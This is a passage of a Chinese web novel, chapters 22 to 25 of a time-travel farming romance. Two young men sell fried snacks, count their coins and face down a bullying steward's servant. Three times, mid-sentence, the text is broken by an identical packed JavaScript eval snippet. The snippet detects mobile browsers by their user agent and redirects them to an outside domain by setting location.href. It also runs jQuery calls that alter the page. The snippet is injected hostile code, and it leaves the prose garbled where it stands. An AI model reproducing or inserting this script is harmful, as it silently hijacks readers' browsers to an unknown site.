等那包玉片打开后，刚才还鼎沸到差点掀翻房顶的吵闹声，顿时安静下来，只剩满屋“咔滋咔滋咔滋咔滋”。 连不苟言笑的先生来了，见是孟知彰带来稀奇小食，也没急着维持秩序，而是四方步走上前，笑眯眯接过爱徒递上的玉片，问明白是什么，一改素日为人师表的严肃古板，也跟着众人“咔滋”起来。 这预定“金玉满堂”的头，还是先生开的，说自己有几位旧年故友，都是有名的“嘴刁食客”，打算邀请他们一起品鉴品鉴。 “3份！”先生捋着胡子交代孟知彰记下预定数量，转身一想，“还是记上5份吧。” 孟知彰刚在纸上修改了数字，先生又折回来，义正辞严道：“不对，三省书院南先生那份，应该记你头上。他连那本《草堂集微》都舍得拿出来给你抄，我当年可是求了他整整一个月才借我看了两天。必须记你账上。” “好，南先生那份等人从府城来取书时，我会亲自奉上，就说是先生特为南先生准备的。” 先生捋了捋胡子：“马上月底了，南先生那边也快派人来了吧。” “是。”孟知彰应声答道。 22. 数钱 孟知彰的视线从纸张数字上扫过，自然而然落到庄聿白脸上。皙白如瓷的脸庞上那一点凤尾痣越发明丽： “今日学中预订之人共12名，总计玉片103包，金球63包。” ……！ 166包！ 庄聿白一听，转身瘫回椅子里。琥珀色头发从椅背倾泻下来，瞬间也失了光彩。 这要洗多少面筋，做多少面坯，晒多少胚片，包多少荷叶啊……苍天！ 穿越到古代，天天做牛马之种田日常。 懒懒歪在椅子里的庄聿白，下巴微扬，眼神无力地看看孟知彰、又看看那页纸。忽然他看到什么不得了的东西，登时从椅背弹起来： “这上面怎么还有你的名字？” “为南先生准备的。” “我说孟大公子，家中已经够忙了，你还非要在这个时候凑热闹。我不管什么南先生北先生，这钱不能公中出。你和那什么先生的私情，要从你自己腰包里掏钱！” “自然。” 孟知彰声音平静如常，强压住嘴角弧线，从招文袋中掏出钱袋来，沉甸甸往庄聿白眼前一放。 “学中同窗给的半数定金。640文。” 说着孟知彰又从自己常用的口袋中数出24文摆在桌上：“我这部分的定金，也请琥珀公子过目。” 钱袋子“哗啦”声一响，摊在椅子里的庄聿白立马变精神，像连了上充电口，整个人一下支棱起来。 庄聿白将钱“呼啦”全倒在桌子上，哇塞，这会儿已经两耳不听窗外事，一心只把银钱数。谁能想到，数钱数到手抽筋的日子，这么快就过上了。 早说嘛！银钱给足，这牛马也不是不能当！ 数完这664文，庄聿白将钱呼啦啦往袋子里一装，袋口一系。又想起什么，拎着裤腿一阵风跑出门，不一会儿又一阵风跑回来，将身前衣襟里的东西“哗啦”一倒，继续埋头数起来。 下午柳婶两人“清库存”那一大单一共收了168文。 664文+168文=832文！ 哇塞，明天货郎张“狩猎”回来，第一个1000文，第一个一两银子，不就入账了么！ 不过庄聿白没等到明天。 天擦黑时，货郎张就来了，将柴门拍得山响，边拍边高声喊“小郎君”“孟书郎”。 二人听出货郎张的声音，以为出了什么事，忙去开门迎进来，还帮着将担子卸在石榴树旁。 “是不是有黑狗追你？”庄聿白被山上那只黑狗追的阴影还没全散去。他看看天，又看看一脸焦急的货郎张，“不对，你怎么这个时间来了？” 货郎张家住山北边，主要在周边村庄和镇子上行走，往常三四日来孟家村一次，因为这金球玉片的营生，才来得勤了，换成隔天来。 但天马上黑了，他回家还要翻个山，就算此刻就往家赶，等他到家天早黑透了。货郎张是个顾家的，家中还有怀着身孕的妻子等着，若非急事，定是不会这个时间专门往庄聿白这跑一趟。 货郎张便扯过巾帕擦着额头和脖子里的汗水，便用力地将嘴里的气喘匀，来时走得太急，一时连句完整的话都说不出了。 庄聿白看着着急：“是不是出事了？你被人抢了？有歹人追你？或者，难道是你家里……你倒是说句话啊！” 货郎张拼命摆手，庄聿白越催他越急，脸红脖子粗了半天终于蹦出一句话：“……小郎君，我明日要加量……加到60包！” “我还以为出了什么大事！你说你……”庄聿白大大松了口气，给货郎张端杯水，让他歇歇脚。 货郎张红光满面：“上次20包根本不够卖的。多亏了孟书郎给写的这招幌，气派！聚人气！这一路走，一路人都在问这‘金玉满堂’是个啥。有听说过或者吃过的，还帮忙说好话。” 货郎张接过父亲的这副货担也有几个年头。自打他儿时跟着父亲走街串巷，到他自己挑起全家的温饱，他从来没见过，也从不敢想有朝一日人们会如此追捧他家的货担。 这才将金玉满堂加入货担没几天，自己竟一下成了远近闻名的货郎。“金玉满堂货郎张”的名号也叫响了。 货郎是个力气活儿，除了肩挑货担每日走上几十里路，还要变着花样吆喝。以往一天下来嗓子沙哑疼痛，经常晚上到家后已经痛得说不出话。即使这样，肯到自己货担前驻足的人也不多。 眼下不一样了，短短几天光景，自己每到一处很快就会被人群围住，还有不少孩童跟在身旁拍手喊“金玉满堂货郎张”！ 金球玉片自然紧俏，连货担上的其他东西也跟着卖出去不少，每日能多赚上三十几文。家中餐桌上米面不再那么紧巴巴，偶而也能买个鸡蛋让家中双身子的那位补一补。孟书郎和小郎君，简直就是他们家的福星。 庄聿白想到虾片会畅销，但没想到会到如此抢手的地步。 货郎担短时间能卖20包已经很不错了。自然是卖出去的越多，对大家越有利。昨天卖20包，今天40包，后天60包……但货郎张每天能走到的地方就这周边十几里，别看大家现在追捧，总有疲软的一天。莫如一开始就限额售卖，更利于长线运营。 一则目前产能有限，制作不了这么更多。二则适当“饥饿营销”。一个东西若随时可以得到，大家便不会觉得它有什么好。但若每天只有这么多，任你加价也没有，人们会认为这东西稀缺难得，自然每天惦记着。这样生意才能尽可能长久做下去。 当然逢年过节可以适当加量，比如眼看的端午。 庄聿白看看院中晒着的坯片：“玉片30包有的，金球目前家中没有了……这样，我们晚上做出来，明早凑齐30包。” 货郎张先是听了一通“饥饿营销”，云里雾里一知半解。又听庄聿白说金球没了，心中是越来越凉，好在后面听到帮着赶制，一下放了心，嘿嘿笑起来，两排白牙全露出来，一个劲点头说“好”。 “瞧我这记性！”货郎张嗔怪骂了自己一句，忙慌慌从衣襟里掏出个半旧的钱袋子，“辛苦小郎君了。这是上次20包的钱，一共140文。小郎君点一点。” 庄聿白也没客套，接过来往院中木桌上一倒，认真数了遍：“140文，分文不差！天晚了，我们也不虚留你。不过我想着你明早还要过来。若信得过，这货担就放在我家。这样你往返还能省些脚力，也能走得快些，赶一赶，天大黑之前估计能到家。” 货郎张哪有不愿意的。这是孟书郎和小郎君家，自己连孟书郎和小郎君都信不过，自己还能信得过谁！只是难为他们这点小事都能为自己考虑到。 货郎张走后，庄聿白将今日所有的钱，一股脑全堆上孟知彰的书桌。此前他以为7000文能堆满一桌，那是想多了，只今日一天收入，桌面上已经满满当当了。 庄聿白将那块石砚和竹子笔架往一旁推了推，继续数钱！ 664文+168文+140文=972文 972文！ “若今天再有个28文收入，就能凑成1两银子了。”屋里上了灯，庄聿白笑盈盈从那一堆铜钱堆里抬起头看孟知彰，带着一丝得意的炫耀。 人就是容易得陇望蜀，此前觉得一天能有个大几十上百文收入，已经心满意足，此时守着九百多文钱，想的竟是还差28文凑整。 孟知彰没说话，转身将钱袋拿过来，数出24文：“孟某剩下24文一并提前给了，请琥珀公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809802|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过目。以及烦劳琥珀公子尽量帮小可的这几份……往前排一排。至于还差的那4文……” “打住！我这人最是公私分明，休想跟我套近乎。”庄聿白笑着将那24文快速接了放进钱堆里，后面递来的这4文却伸手拦住，“我这里只收金球玉片的收入，差4文就差4文。” 孟知彰找来一个大些的粗布口袋，让庄聿白当钱袋。“叮啷啷、叮啷啷”钱币进袋的声音里，柴门响了。 孟知彰接出去，不一会儿领进来个人。 庄聿白看去是个十四五岁的男孩。虽身体还在抽条，明显看出结实粗壮的苗头，像那石缝中的一株草，落地就能生长，带着顽强的生命力。 “这是二有，大有弟弟。” 二有爱笑，完全没有他哥哥的闷劲，说话也爽利：“琥珀哥哥好！这是你午后落在磨坊里的面粉。我爹方才在磨坊看到，让我顺路送来。” 庄聿白想起自己在磨坊落荒而逃的一幕，笑道：“真是麻烦你了。这几日没见你哥哥。他还好么？”庄聿白打算拿些虾片招待这个小客人。翻找一圈发现家中一片都没了。 “我哥挺好的，这些天都在忙吴员外家炭柴的事。今天第一批炭柴总算送去了，我来时正在院子里卸车。五月初三是吴员外家老太太寿辰正日子，初一最晚初二还要再去送一趟。” 庄聿白听孟知彰提起过，牛家炭柴烧得好。虽价格和别家大差不差，但烟少、耐烧。就算每斤多花个一两文，城中后厨上也都愿意要牛家炭柴。 天不早了，二有着急回家吃饭，正要跑，庄聿白视线看不到的地方，孟知彰将牛二有的手一拉，小声嘱咐了句什么。 牛二有看看孟知彰，又看看庄聿白，眼珠机灵一转，笑着走向庄聿白：“琥珀哥哥做的面筋球真好吃。我娘非常喜欢，让我也来预订一包。这是定金。” 说完就跑了，边“咕咚咕咚”跑边喊：“知彰哥哥、琥珀哥哥我走啦！”话音还没落下，人早出了院门。 庄聿白伸开手，不多不少，4枚铜板放在手心。 1000文集齐！ 庄聿白看看孟知彰，眉眼弯弯，笑容中多了些意味深长。两人心照不宣，都没再说什么。 * 村野上空，升起漫天星斗，如黑色天鹅绒上缀满大小不一的钻石，灯光一打，璀璨夺目。 月牙儿挂上天际，细细一弯，躲在那一排树丛黑影后面，小心翼翼偷听着墙角。 孟家村北侧茅草屋内，此刻正忙得火热。 一苗灯火，光线明明暗暗，时不时带着两个交缠的身影一起晃动。 水声、呼吸声、木盆撞击声……交相辉映。 ……额，好像哪里不对。 “腰……腰好酸！”庄聿白嗓子中挤出句含混不清的埋怨。 他艰难直起腰身，脖颈后仰，胳膊撑在身后，落在纸糊陋窗上的影子，好似一只黑天鹅引颈高歌。 “孟兄你好了么？我的腰，要撑不住了……” “马上。”水声再起，“你休息下。剩下的交给我。” “说得轻巧，这……这怎么休息嘛！” 水声并没有停：“你……换个姿势？” 黑天鹅扶着自己的后腰，声音开始赖叽：“换姿势？不了吧……你是不是快好了？看你这么卖力的份上……我舍命陪君子，再坚持一下。” “嗯。快好了……”水声又猛力响了几下。 战斗暂告一段落，两人不约而同长出一口气。 水珠滴滴答答跌落，孟知彰的声音：“琥珀兄帮个忙。” “……什么？孟兄你怎么……这……你快些，我要撑不住了…” 屋内响起桌椅挪动之声。 23. 兄弟 不多时，孟知彰端了一桶乳白色的水出来。 衣袖高挽，襦衫系在腰间，脚步急中带稳，桶中水半滴也未溅出。木桶放进灶屋，又盛了半盆清水端回房内。 “孟兄快快快…救我！我的手腕…” 庄聿白急得直跺脚，随着“吧唧”一声巨响，水花四溅，一大坨白中透黄的水洗面筋团，重重甩进孟知彰递过来的清水盆中。 “我的手腕…都快断了。” 庄聿白带着埋怨，从孟知彰腰间拽下一块深蓝色粗布巾帕，擦擦手上的水，用完又掖回孟知彰腰间。然后若无其事地揉起自己手腕，满脸委屈。 “……”孟知彰像被点了穴，紧紧盯着自己腰间，眸底发沉，舌底发硬，整个人一动不动。 “怎么了？借用一下你的巾帕而已，你那么紧张干嘛？又不是不还了……” 庄聿白随着孟知彰视线看去，腰身强劲紧实，束带系得一丝不苟，自己这随手塞进去的巾帕倒显得格格不入了。 庄聿白立马扬起笑嘻嘻一张脸：“……呀，巾帕歪了。抱歉哈。” 话没说完，一双手早伸过去，七手八脚在人家腰间整理起来。 孟知彰腹部一紧，僵硬地往后退了一步，全身都在用力，唇吻抿成直线，半日挤出两个字： “无妨。” “怎么会无妨？我用了你的东西，自当原样奉还才对。”庄聿白不依不饶往前跟了半步，还要去扯人家腰间束带。 “真的不用。”孟知彰腰间像被烙铁烫了一下。他转身跨出房门，脚下不稳，浸泡面筋团的水盆失手溅洒出来。 天角的那弯月亮，慢慢安静，慢慢变红。 夜风习习，拂过夜色掩盖下孟知彰那微微发烫的耳垂。 孟知彰回来时，庄聿白已经躺在床上，琥珀色头发散了一枕，绑着双脚，伸出胳膊，等他将手上的布绳系好。 “孟兄，好累哦。”庄聿白声音懒懒，打了个哈欠，“刚才咱俩将今日新磨的面粉全部洗了出来，不过这些炸出的金球，也只够货郎张明早要带的。至于学堂里预订的数量，起码还需要30斤小麦……我看咱家里好像存粮告急。” “无妨。我让二有回去带了话，拜托牛叔牛婶将粮食先腾挪出些给我们，等夏收后我们立马还回去。” 孟知彰俯下身，熟练地将绳子缠在庄聿白绵细的手腕上，轻轻系好，打了个活结：“你身子弱，这种活下次别动手，我来做，你只在一旁看着。” “你做我看着？那多不好意思。”客套话虽这样说，庄聿白的嘴角早咧到耳朵根，“我还是能帮着做一些的。谁让咱是有福同享、有难同当的好兄弟呢！” 孟知彰看了庄聿白一眼，没作声。 庄聿白不明白为啥每次提到“兄弟”这个词，孟知彰眼神都怪怪的。 好兄弟怎么了？这个词有毒？不是你孟知彰放出话去，广而告之我是你表弟么！我和你当然是好兄弟。 庄聿白此时已经思考不了太复杂的问题。他翻个身，面朝里美美闭上眼。 “哗啦哗啦”庄聿白用脸蹭了蹭。此刻，他宣布这是世界上最动听的声音。 在他和墙之间，是装着1000文的钱袋，鼓鼓囊囊，满满安心。 * 四月二十八，晴。 阳光斜斜打在睫羽上，光点盈盈。庄聿白半醒半睡，隐约听见北窗外有人说着“婚期”“以粮抵钱”之类的话。 他大大伸个懒腰，穿好衣服正要去看个究竟，却见孟知彰迎头走回来，拿着翻肥堆的铁叉和一张纸。 “刚族长来了。”孟知彰将纸递过来，“昨日磨坊遇到的乡邻原要来家里，怕吓着你就全去了族长家。这是大家预定的单子。” 庄聿白接过一看，长长一排人名和数字：“一五得五、二五一十……玉片124包，金球72包！” 一个订单还没开始，新的单子已经排进来。庄聿白估算了下，这一单能有1500多文。 “都是乡邻，我同族长商议不收定金，家中银钱不宽松的也可以用粮抵钱。你，觉得是否合适？” “合适！这样还省得再去买粮。不过我在想一件事情，”庄聿白眼珠转了转，“大家能来预定，也是认可我们。眼下赶上端午，或者每份上面我们赠个祝福帖子呢。不用太复杂，就用‘金玉满堂、端午安康’可好？” “金玉满堂，端午安康。甚好。”孟知彰眼角掠过一抹柔和，“我请货郎张帮忙寻些彩纸回来。” 两人在灶上忙到日上三竿，中间送走货郎张交代了彩纸的事情，庄聿白看看天又看看一身短褐的孟知彰：“你怎么还不去换衣服，上学要来不及了。” “今日学中放半天假。午后再去。正好家中忙，我多做些。” 石榴树站在太阳下，深绿色椭圆形叶片丛中挑出一簇簇鲜亮的红。 孟知彰将簸箕上的淀粉翻晒一番，又洗出与昨晚差不多同等量的面筋，没有庄聿白“帮忙”，似乎做得更快些。 乳白色淀粉水桶晃了下，扰乱水中静止半日的倒影。孟知彰回过些神，方才族长提到婚事，可能因为是昨日柳婶看见琥珀眼角的泪痣。 在外人眼中，虽说是“表弟”，自己一个成亲在即的人，却整日与一个哥儿吃住在一起……人言可畏，所以族长才旁敲侧击着谈起婚事。 但说起婚事，孟知彰眸底骤然蒙起一层阴鸷狠戾，像潜伏在暗处的一头猎豹，暗自谋算出手的时机。 不过这抹冷峻的光很快消融。不知是榴花还是那点泪痣，一抹红色在孟知彰眸底荡漾起来。 “孟兄，今日这虾真大个，每只都肥嘟嘟的。”石榴树旁的人用自制细竹签挑着虾线，见孟知彰视线若轻若重地落在自己这边，忙笑盈盈冲他举起手里的虾。 “好。”孟知彰剑眉舒展，忽又想到什么，眉心动了动，眼神严肃，语气深沉，“琥珀……” 庄聿白心头一紧，光天化日忽然喊人家名字，不像有什么好事情。难道查出了自己的身世，打算将自己送回去？ “嗯？怎么啦，孟兄。”庄聿白面上若无其事，仍顶着一张笑嘻嘻的面孔。 不待孟知彰将话说下去，柴门外来了客。 牛大有带进来一个人。 来人大约二十岁，细高身材，一身蓝色长衫根本不像村中人装扮，像是有什么来头。一双三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818191|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角眼藏在两抹短眉下，干练又精明。 “这是兴二爷，负责吴员外家后院采买。”牛大有介绍来人，虽年岁差不多，牛大有还是跟着众人称他一声“爷”。 大户人家的采买都是肥差，年纪轻轻能担起这个差事，大多有些本事或者硬关系。这位兴二爷虽年轻，对这声“爷”倒很习以为常，也很受用。 兴二原本来附近村镇购置寿宴要用的猪羊等物，员外大娘子不知在哪听闻这“金玉满堂”，交代他务必带回去一些。兴二打听许久，都道是一个游脚货郎在卖。一时寻不到货郎，他只能到寻藤摸根，找到孟家村来。 当然也不白来。送柴炭的牛老汉家不就在孟家村么，兴二直接找上牛家，打了点秋风才一路仰着鼻孔被好生带到孟知彰家。 后来庄聿白还是听牛二有无意发牢骚才知道，单寿宴的这批炭柴，这兴二就明吃了50文钱的回扣。牛家忙前忙后才赶出来几车炭，本就没赚多少钱，他还白白横在里面捞油水。这次找上门来更是托辞看炭柴烧制进度，直接张口要走20文钱。 但凡有些权势的人，哪怕只有一点点，也惯会拿着鸡毛当令箭，而且专向弱小开刀。 “这位便是做‘金玉满堂’的……琥珀？”这位兴二爷进门后掸了掸衣襟上并不存在的灰。岔开双脚站在院中，一对眼睛轻蔑地四处瞄着。 孟知彰上前一步，宽阔身躯将庄聿白挡在身后。若非看着牛大有的面子，这种眼高于顶的市侩之人，孟知彰根本不会让他进门。 “不才孟知彰。不知兴二爷此次前来所谓何事？”声音听不出喜怒，也听不出欢迎。 兴二抬头看了眼横在面前这个人，魁梧雄壮，脸生得好看些又能怎样，不过和牛大有一样，也是个头脑简单、四肢发达的一介村野莽夫。 兴二一眼瞥见庄聿白眼尾的泪痣，鼻中冷哼一声，话还没说，眼神中的蔑视全带出来。一个哥儿而已，能做出什么像样的吃食。“金玉满堂”“银玉满堂”，不过是个名字罢了。和眼前这两个人一样，徒有一副好看的皮囊，中看不中用。 不过主家吩咐的事他还得照办，钱袋中捏出一角银子：“这金球玉片，给我各来3包！” 庄聿白没去接银子：“兴二爷来的不巧了。家中正好售空。所剩只有半包金球和半包玉片，若不嫌弃就拿去吧。” 兴二下来采买，所到之处都是笑脸好语迎着，可今日打他进了这柴门起，不仅半分热乎劲也没感受到，还想将剩东剩西的拿来糊弄自己，尤其还是个哥儿，仗着自己模样妖丽，就找不到北了。 兴二认定庄聿白拿话搪塞他，登时心中火起，环眼圆睁怒叫道：“打发叫花子，还是觉得大爷我付不起钱？也不去打听打听，这十里八乡有谁敢不给我兴二面子？” 孟知彰咳嗽一声，往这位兴二爷跟前站得更近些，也没说什么，只是风轻云淡地挽起袖口，双手攥拳，关节更是被捏得咔吧咔吧响。 果然，说不清楚的事理，交给拳脚更容易解决。 兴二同庄聿白等人较劲时，他娘马婆子正在家中咒天骂地。马婆子专给人做妆面为生，前些日子给一个祭河的活死人化过妆，近日生意全断。 24. 大单 兴二在外面嚣张惯了，很少遇到庄聿白这样嘴硬脖子硬的，脸面上过不去就想来教训教训对方。 哪知拦出来个罗汉金刚，沙包似的拳头捏得咔咔响。 那兴二今日来得急，身边没带个跟班。他仰头打量了下孟知彰，大山压顶的强烈紧迫感，逼得他那嚣张气焰一下哑了火。正不知如何收场时，忽听院外有人高喊他的名字。 “兴二爷您怎么在这儿，让我们好找！” 兴二以为自己来了帮手，正要挺直腰板，却听对方喘着大气补充，“快去镇上看看吧，您买的那几只羊……出了些问题！” 听语气不像好事，兴二心下一沉。折了银钱倒是小事，关键给老太太庆寿用的牲口，死了残了都不吉利……不过正好借此事赶紧逃离眼前这个煞星。晚了恐要吃亏。 兴二临走还想甩两句狠话，见孟知彰和庄聿白都不像什么好拿捏的，只能恶狠狠剜了牛大有一眼： “炭柴上心些，若有什么纰漏，可别怪爷我不付钱！” 兴二到底还是带上了那包金球玉片。他回去交给管家时，顺便说了些小话：“不过是个乡野小作坊，不知哪些没见过世面的人，把这上不了台面的东西说给大娘子听。大娘子估计就是听听罢了，老太太何等尊贵人，她的寿宴岂能让这些下贱东西来打眼！” 管家耷拉眼皮瞥了下，他也觉得这金玉满堂不过是些街边小玩意儿，是那些穷酸人没见过好东西才吹捧得跟什么似的。管家接过荷叶包在手中掂了掂，正要送上去，忽转身叫住兴二，厉声道：“让你采买的活羊，怎么拉回来死了一只！下次做事再这么顾前不顾后的，先扣你半个月月银。还在这站着做什么？等我给你泡茶？” 兴二鼓鼓一肚子气回到家，还没进门就听见他娘马婆子又在打骂小丫头，满屋子鬼哭狼嚎。 马婆子专给人做妆面为生，近日生意却几乎全断，不仅新客接不到一单，连老主顾们都开始躲着他。 按理说吴员外家庆寿这种大事正是缺人手的时候，自己儿子又在吴小公子跟前得脸，换作之前，自己怎么都能揽一宗事情做。现在整个吴家都躲着她。她不信邪，自己巴巴找过去，每次都是热脸碰冷屁股。 马婆子心中愤愤，又无处发泄，只能拿小丫头解气。 兴二先是在庄聿白那受了冷待，回来又被管家一顿抢白，也攒着一肚子气，进门一抬眼，却见小丫头哭天抹泪在那捡地上摔碎的茶碗。 小丫头身板瘦削，垂眉低目的模样一下让他想起躲在孟知彰身后的庄聿白。兴二更是气不打一处来，发狠朝那小丫头肩膀上猛踹过去，口中骂道： “妖妖俏俏装给谁看！没长眼的东西，没看见大爷我回来？还不快去给我倒杯茶来！整天只知道哭，哭哭哭，哭丧呢你！晦气东西！” 那小丫头原本瘦弱，哪经得住他这剜心一脚，直接重重摔在地上。手心硌在碎瓷片上，生生扎出条半寸长的口子，鲜血直淌。小丫头吓懵了，一时忘了疼，捂着手连滚带爬跑了出去。 屋内没了外人，兴二开始埋怨马婆子： “您老当时真是鬼迷心窍，怎么就为了那一两银子去给一个活死人上妆？现在好了，这大半个月不仅一单生意也没有，连带着吴小公子近日找我的次数都少了。若不是我这差事还继续当着，咱娘俩这日子还过不过……” 马婆子从袖子里扯出个脂粉气十足的绣花帕子，半遮在脸上，边哭边骂： “这都要怪那个祭河的死鬼，把我的好财运都沾走了！好在他像牲口一样祭了河，现在骨头渣子想必都被鱼啃光了！若他还活着，我定活剥了他的皮！”马婆子往地上又啐了了口，“我只盼他托生成畜生，让千人骑万人打，永世不得翻身，才能解老娘心中这口气。” 娘俩正面红耳赤满口脏话在屋内破口大骂，一个小厮跑了来传话，让兴二立时再去趟孟家村。 “去订购金玉满堂100份，作为寿宴回礼？！”兴二以为自己听岔了话，揪着小厮的衣襟让他再讲一遍。 “千真万确，老太太把管家叫进去，亲自吩咐的差事。还特意交代就用这荷叶包着，叫金玉满堂、荷荷美美！” 那包金球玉片只有寒碜的一小包，管家掂量再三思量再三，还是决定先交给大娘子的陪房赵妈妈，让她得空趁大娘子高兴时再去回话，看看是不是大娘子要寻的金玉满堂。 这大娘子也算锦衣玉食养大的大家小姐，又在后院当了这些年的家，自是见过好东西的，巴巴让人去寻什么金球玉片，估计只是一时兴起。等见了实物，若是不称意，估计会怪罪下来。还是躲着点的好。 陪房赵妈妈给大娘子送金玉满堂时，正好老太太和家里几个姑娘也在，满屋子的人都没见过什么金球、玉片的，便一起围着开了包。后来也不知怎么的，屋内一下热闹起来，喧喧嚷嚷笑声不断，不一会儿里面开始传唤管家。 后院具体发生了什么事，小厮也不清楚。他只知道管家很快小跑着出来，立马让人寻兴二。说老太太交代的，让把这金玉满堂写在回礼的单子上。 兴二听小厮前言不搭后语地讲着来龙去脉，又问：“可说了何时要？” “初三是正日子，管家说初一晚上要全部摆在后院装礼品的架子上。他会清点。” “……那就是三天时间！”兴二学着孟知彰的样子捏了捏下拳头，自以为很有气势，只是拳头并没有发出想象中的咔咔声。他摸了下腰间吴家小公子送他的香囊，“走，现在就去孟家村！” 兴二这次留了心，带上四五个小厮，各个手里还拿着棍棒，耀武扬威堵了孟知彰家的门。他要把方才丢掉的脸面捡回来。 * 午饭后天气燥热，庄聿白坐在阴凉处，摇着扇子看一根根面坯在孟知彰手中切成匀称的坯片。 不等庄聿白夸上几句，柴门被一脚踹开。冲在前面的就是方才那位兴二爷。 兴二给旁边小厮使了个眼色，那小厮上前一步：“你们俩谁是管事的？金球玉片各一百包，初一备齐，听清楚了吗？” “你谁啊？”庄聿白从凳子上站起来，扇子指指来人，“一百包？抱歉！生意兴隆，订单已排到端午。诸位五月下旬再来吧！” 庄聿白说完又往孟知彰身边躲了躲。 孟知彰手中切坯片的刀半刻未停，气息平稳，节奏如常。随着冷厉刀锋一下下起落，一片片淡粉色坯片在修长有力的手中应声而倒。庄聿白只觉眼前人自有一种“胸有惊雷而面如平湖”的大将之姿。 兴二似乎就在等庄聿白说不：“敢跟你兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823689|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二爷叫板，也不掂量掂量自己几斤几两！” “你们要干什么？光天化日私闯民宅！”庄聿白看着对方架势不妙，躲是躲不过，打似乎又打不赢，他忽然想起刚来那天晚上，孟知彰拿律法压制他，直了直腰板，凛然高声道： “《大恒刑统》卷十八，无故入人家者，笞四十。主人登时杀者，勿论……卷十九，持杖行劫，不问有赃无赃，并处死！” 不过这一招对眼前几人并不奏效。 “什么死啊活啊的，念什么咒！” “吓疯魔了吧！闭嘴！” 几个小厮哪会听他在这咬文嚼字，个个气势汹汹。 秀才遇到兵有理说不清，庄聿白也发现了自己的却敌之策根本威慑不到敌人。似乎他再不闭嘴，那几人手中挥来挥去的棍子立马就要挥过来了。 庄聿白忙扯扯孟知彰衣袖：“孟兄，你说句话呀！” 最后一片坯片在手边倒下，孟知彰用纱布将所有坯片盖上，解下腰间巾帕擦了擦手。 “书架上有本《庄子》，你帮我找出来。”一只温暖的大手覆上庄聿白肩头。 “现在吗？”庄聿白眨眨眼，示意孟知彰看看清眼下的状况。 “现在。”眼神坚定。 “这都什么时候了，看什么书呀……”一语未完，庄聿白就被孟知彰推进房内。 还上了锁。 庄聿白走到窗边……窗户也被从外反锁！ “孟兄！孟……”庄聿白摸不着头脑，难道是想跟这群人血拼？对方四五个人，还都手持凶器，他一个书生，虽说长得壮实些，虎落平原难免被犬欺啊。 不行！去喊人。前门走不通，就走后门。庄聿白搬个凳子轻车熟路去了北窗。他上次翻窗还是因为把牛大有误认成强盗。 院内喊打声一片，碰撞声一片，哎呦声一片…… 庄聿白听得心中一颤一颤，他没见过人打架，更没见过打群架的。他一时分辨不出哪声是孟知彰发出的，甚至觉得每一棒都砸在了孟知彰身上…… 好疼！ 大家相识一场，还是彼此最好的兄弟，至少庄聿白这样认为。自己怎么忍心看着好兄弟受苦。 “孟兄你坚持坚持，我找人救你。” 庄聿白提衣撩裾上了凳子，口中心中一直念佛，把认识的神仙菩萨都求了一遍。希望挨在他孟兄身上的每一棒都能反弹给那群歹人。 “哐啷”，窗户拉开一扇，窗外的新鲜空气猛地灌进来，呛得庄聿白咳嗽两声。 他踩着椅子奋力往外爬，半跪在坚硬的窗台，粗粝的窗框硌得他膝盖疼。他哪里顾得上这些，他一心要救他家孟兄。 庄聿白把身子探出去半截，正欲往外跳，“吱嘎”身后房门开了。 孟知彰好整以暇站在门口，风轻云淡看过来。微风轻振衣衫，勾勒出细腰长腿。光从外面照射进来，他就站在那光中，目光温暖又坚定。 庄聿白被一只干燥温暖坚定的手扶下窗台，走出房门时，只见小厮们在墙角跪了一排，呲牙咧嘴地又揉胳膊又按腿。他们见孟知彰过来，下意识捂着伤处往后躲，眼神带着恐惧。 方才嚣张跋扈的兴二，脸上也挂了彩，像只熟透的大虾，弓腰缩头红着脸，被一人骂得正凶。 25. 虾面 庄聿白看着满院子残兵败将，又看看孟知彰，琥珀色眸子在阳光下眨了又眨：“不是吧孟兄！你一个人……群殴了他们……” 孟知彰嘴角暗不可察一扬。一缕微风拂过他眉眼，和此时拂过他眉眼的目光一样轻柔，一样明亮。 训斥兴二之人见孟知彰和庄聿白出来，忙笑着拱手上前：“这真是大水冲了龙王庙，此前竟不知是孟书郎家！请孟书郎抄的经书，不仅我们老太太欢喜。我们老爷更是逢人便夸，说从未见过这样好的字。” 此人是吴员外家的赵管家，他家大娘子亲自嘱托他务必要买到这金玉满堂，说老太太很喜欢，他担心兴二传话说不清楚，也忙跟着来了。谁知刚到，就见兴二等人七歪八倒躺了一地。 赵管家问明情况，劈头盖脸将兴二一顿臭骂，还狠狠补踹几脚，对孟庄二人则又赔礼又道歉，承诺回去定回禀老爷重重惩办这几个恶仆。 赵管家一顿表态，见二人脸上没有愠色，才敢陪着笑脸说明今日来意。 